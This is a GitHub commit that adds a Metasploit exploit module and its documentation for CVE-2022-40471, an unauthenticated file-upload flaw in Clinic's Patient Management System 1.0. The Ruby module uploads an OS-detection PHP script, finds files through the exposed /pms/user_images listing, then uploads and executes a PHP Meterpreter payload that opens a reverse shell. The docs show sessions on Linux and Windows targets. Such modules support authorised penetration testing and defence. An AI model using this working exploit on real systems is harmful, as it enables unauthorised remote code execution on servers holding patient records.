Skip to content

Commit

Permalink
Land #19733, exploit module for CVE-2022-40471 - unauthenticated RCE
Browse files Browse the repository at this point in the history
  • Loading branch information
msutovsky-r7 committed Dec 18, 2024
2 parents 4a13b09 + f2d723d commit 531ed16
Show file tree
Hide file tree
Showing 2 changed files with 364 additions and 0 deletions.
116 changes: 116 additions & 0 deletions documentation/modules/exploit/multi/http/clinic_pms_fileupload_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,116 @@
## Vulnerable Application
The Clinic's Patient Management System (CPMS) 1.0 is vulnerable to Unauthenticated Remote Code Execution (RCE) due to a file upload vulnerability.
This exploit allows an attacker to upload arbitrary files, such as a PHP web shell, which can then be executed remotely.
The exploitation occurs because of a misconfiguration in the server, specifically a lack of file validation for uploads and the presence of
a directory listing feature in `/pms/user_images`.
This enables an attacker to upload a PHP file and access it via a publicly accessible URL, executing arbitrary PHP code.

## Verification Steps

### Vulnerable Application Installation Setup
1. Install Clinic's Patient Management System 1.0 on your web server.
- Download the Web Application from [here](https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code)
- For **Windows**
- [ ] Open your XAMPP Control Panel and start Apache and MySQL.
- [ ] Extract the downloaded source code zip file.
- [ ] Copy the extracted source code folder and paste it into the XAMPP's "htdocs" directory.
- [ ] Browse the PHPMyAdmin in a browser. i.e. http://localhost/phpmyadmin
- [ ] Create a new database naming `pms_db`.
- [ ] Import the provided SQL file. The file is known as pms_db.sql located inside the database folder.
- [ ] Browse the Clinic Patient Management System in a browser. i.e. http://localhost/pms/

- For **Linux**
- [ ] Start Apache2 & MySQL with the command `sudo systemctl start apache2 && sudo systemctl start mysql`
- [ ] Install PHPMyAdmin with the command `sudo apt install phpmyadmin -y`
- [ ] Edit `/etc/apache2/apache2.conf` by appending this line: `Include /etc/phpmyadmin/apache.conf`
- [ ] Extract the downloaded source code zip file into "/var/www/html" directory
- [ ] Next steps are similar to the ones for Windows, so follow that

2. Start `msfconsole` and load the exploit module:
```bash
msfconsole
use exploit/multi/http/clinic_pms_fileupload_rce
```

3. Set the required options:
```bash
set rport <port>
set rhost <ip>
set targeturi /pms
```

4. Check if the target is vulnerable:
```bash
check
```

If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit:
```
[+] <IP> The target is vulnerable.
```

5. Set up the listener for the exploit:
```bash
set lport <port>
set lhost <ip>
```

6. Launch the exploit:
```bash
exploit
```

7. If successful, you will receive a PHP Meterpreter shell.

## Options
- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`).
- `LISTING_DELAY`: (Optional) The time to wait before fetching the directory listing after uploading the shell (default: `2` seconds).


## Scenarios

### Clinic's Patient Management System on a Linux Target
```bash
msf exploit(multi/http/clinic_pms_fileupload_rce) > check
[*] Checking if target is vulnerable...
[+] 127.0.0.1:80 - The target is vulnerable.

msf exploit(multi/http/clinic_pms_fileupload_rce) > exploit
[*] Started reverse TCP handler on 192.168.1.104:4444
[*] Detected OS: linux
[*] Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.
[*] Uploading PHP Meterpreter payload as zuX7FDRe.php...
[+] Payload uploaded successfully!
[*] Executing the uploaded shell at /pms/user_images/1734340436zuX7FDRe.php...
[*] Sending stage (40004 bytes) to 192.168.1.104
[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.104:48290) at 2024-12-16 14:43:59 +0530

meterpreter > sysinfo
Computer : kali
OS : Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64
Meterpreter : php/linux
meterpreter >
```
### Clinic's Patient Management System on a Windows Target
```bash
msf exploit(multi/http/clinic_pms_fileupload_rce) > check
[*] Checking if target is vulnerable...
[+] 192.168.1.103:80 - The target is vulnerable.

msf exploit(multi/http/clinic_pms_fileupload_rce) > exploit
[*] Started reverse TCP handler on 192.168.1.104:4444
[*] Detected OS: winnt
[*] Target is Windows. Using standard PHP Meterpreter payload.
[*] Uploading PHP Meterpreter payload as lgTprVq5.php...
[+] Payload uploaded successfully!
[*] Executing the uploaded shell at /pms/user_images/1734341267lgTprVq5.php...
[*] Sending stage (40004 bytes) to 192.168.1.103
[*] Meterpreter session 2 opened (192.168.1.104:4444 -> 192.168.1.103:60615) at 2024-12-16 14:57:43 +0530

meterpreter > sysinfo
Computer : DESKTOP-VE9J36K
OS : Windows NT DESKTOP-VE9J36K 10.0 build 19045 (Windows 10) AMD64
Meterpreter : php/windows
meterpreter >
```
248 changes: 248 additions & 0 deletions modules/exploits/multi/http/clinic_pms_fileupload_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,248 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated file upload vulnerability in Clinic's
Patient Management System 1.0. An attacker can upload a PHP web shell and execute
it by leveraging directory listing enabled on the `/pms/user_images` directory.
},
'Author' => [
'Aaryan Golatkar', # Metasploit Module Developer
'Oğulcan Hami Gül', # Vulnerability discovery
],
'License' => MSF_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Privileged' => false,
'Targets' => [
['Clinic Patient Management System 1.0', {}]
],
'DefaultTarget' => 0,
'References' => [
['EDB', '51779'],
['CVE', '2022-40471'],
['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],
['URL', 'https://drive.google.com/file/d/1m-wTfOL5gY3huaSEM3YPSf98qIrkl-TW/view']
],
'DisclosureDate' => '2022-10-31',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']),
OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2]),
OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false])
])
end

def check
print_status('Checking if target is vulnerable...')

# Step 1: Retrieve PHPSESSID
vprint_status('Fetching PHPSESSID from the server...')
res_session = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'users.php'),
'method' => 'GET'
})

unless res_session && res_session.code == 302 && res_session.respond_to?(:get_cookies)
print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.')
return CheckCode::Unknown
end

phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/)
if phpsessid.nil?
print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.')
return CheckCode::Unknown
else
phpsessid = phpsessid[1]
vprint_good("Obtained PHPSESSID: #{phpsessid}")
end

# Step 2: Attempt File Upload
dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.png"
dummy_content = Rex::Text.rand_text_alphanumeric(20)
dummy_name = Rex::Text.rand_text_alphanumeric(6)
post_data = Rex::MIME::Message.new
post_data.add_part(dummy_name, nil, nil, 'form-data; name="display_name"')
post_data.add_part(dummy_name, nil, nil, 'form-data; name="user_name"')
post_data.add_part(dummy_name, nil, nil, 'form-data; name="password"')
post_data.add_part(dummy_content, 'text/plain', nil, "form-data; name=\"profile_picture\"; filename=\"#{dummy_filename}\"")
post_data.add_part('', nil, nil, 'form-data; name="save_user"')

vprint_status("Uploading dummy file #{dummy_filename}...")
res_upload = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'users.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s,
'cookie' => "PHPSESSID=#{phpsessid}"
})

unless res_upload && res_upload.code == 302
print_error('File upload attempt failed. Target may not be vulnerable.')
return CheckCode::Safe
end
vprint_good('Dummy file uploaded successfully.')

# Step 3: Verify File in Directory Listing
vprint_status('Verifying uploaded file in /pms/user_images...')
res_listing = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user_images/'),
'method' => 'GET',
'cookie' => "PHPSESSID=#{phpsessid}"
})

if res_listing && res_listing.code == 200 && !res_listing.body.nil? && res_listing.body&.include?(dummy_filename)
vprint_good("File #{dummy_filename} found in /pms/user_images. Target is vulnerable!")
CheckCode::Vulnerable
else
vprint_error("File #{dummy_filename} not found in /pms/user_images. Target may not be vulnerable.")
CheckCode::Unknown
end
end

def upload_shell
random_user = Rex::Text.rand_text_alphanumeric(8)
random_password = Rex::Text.rand_text_alphanumeric(12)
detection_basename = Rex::Text.rand_text_alphanumeric(8).to_s
detection_filename = "#{detection_basename}.php"

# Step 1: Detect the OS
detection_script = <<~PHP
<?php
echo PHP_OS . "\\n";
?>
PHP

vprint_status("Uploading OS detection script as #{detection_filename}...")
post_data = Rex::MIME::Message.new
post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
post_data.add_part(detection_script, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{detection_filename}\"")
post_data.add_part('', nil, nil, 'form-data; name="save_user"')

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'users.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})

fail_with(Failure::UnexpectedReply, 'Failed to upload OS detection script') unless res && res.code == 302
vprint_good('OS detection script uploaded successfully!')

# Step 2: Retrieve the actual uploaded filename
vprint_status('Retrieving directory listing to identify detection script...')
sleep datastore['LISTING_DELAY']

res_listing = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user_images/'),
'method' => 'GET'
})

fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200

match = res_listing.body&.match(/<a href="(\d+#{Regexp.escape(detection_basename)}\w*\.php)"/)
fail_with(Failure::NotFound, 'Uploaded OS detection script not found in directory listing') if match.nil?

actual_detection_filename = match[1]
vprint_status("Detected script filename: #{actual_detection_filename}")

# Step 3: Execute the detection script
detection_url = normalize_uri(target_uri.path, 'user_images', actual_detection_filename)
vprint_status("Executing OS detection script at #{detection_url}...")
res = send_request_cgi({
'uri' => detection_url,
'method' => 'GET'
})

fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200 && !res.body.nil?
detected_os = res.body.strip.downcase
vprint_status("Detected OS: #{detected_os}")

# Step 4: Choose payload based on OS
if detected_os.include?('win')
payload_content = get_write_exec_payload
print_status('Target is Windows. Using standard PHP Meterpreter payload.')
else
payload_content = get_write_exec_payload(unlink_self: true)
print_status('Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.')
end

# Step 5: Upload the payload
random_user = Rex::Text.rand_text_alphanumeric(8)
random_password = Rex::Text.rand_text_alphanumeric(12)
payload_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.php"

vprint_status("Uploading PHP Meterpreter payload as #{payload_filename}...")

post_data = Rex::MIME::Message.new
post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
post_data.add_part(payload_content, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{payload_filename}\"")
post_data.add_part('', nil, nil, 'form-data; name="save_user"')

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'users.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
})

fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302
print_good('Payload uploaded successfully!')

# Verify the presence of the uploaded file in the directory listing
vprint_status('Retrieving directory listing to confirm the uploaded payload...')
sleep datastore['LISTING_DELAY'] # Allow time for the file to appear on the server

res_listing = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'user_images/'),
'method' => 'GET'
})

fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200

# Search for the uploaded filename
match = res_listing.body&.match(/href="(\d+#{Regexp.escape(payload_filename)})"/)
fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') if match.nil?

actual_filename = match[1]
vprint_good("Verified payload presence: #{actual_filename}")
register_file_for_cleanup(actual_detection_filename, actual_filename) if datastore['DELETE_FILES']
actual_filename
end

def exploit
# Upload the shell and retrieve its filename
uploaded_filename = upload_shell

# Construct the URL for the uploaded shell
shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_filename)
print_status("Executing the uploaded shell at #{shell_url}...")

# Execute the uploaded shell
send_request_raw({ 'uri' => shell_url, 'method' => 'GET' })
end
end

0 comments on commit 531ed16

Please sign in to comment.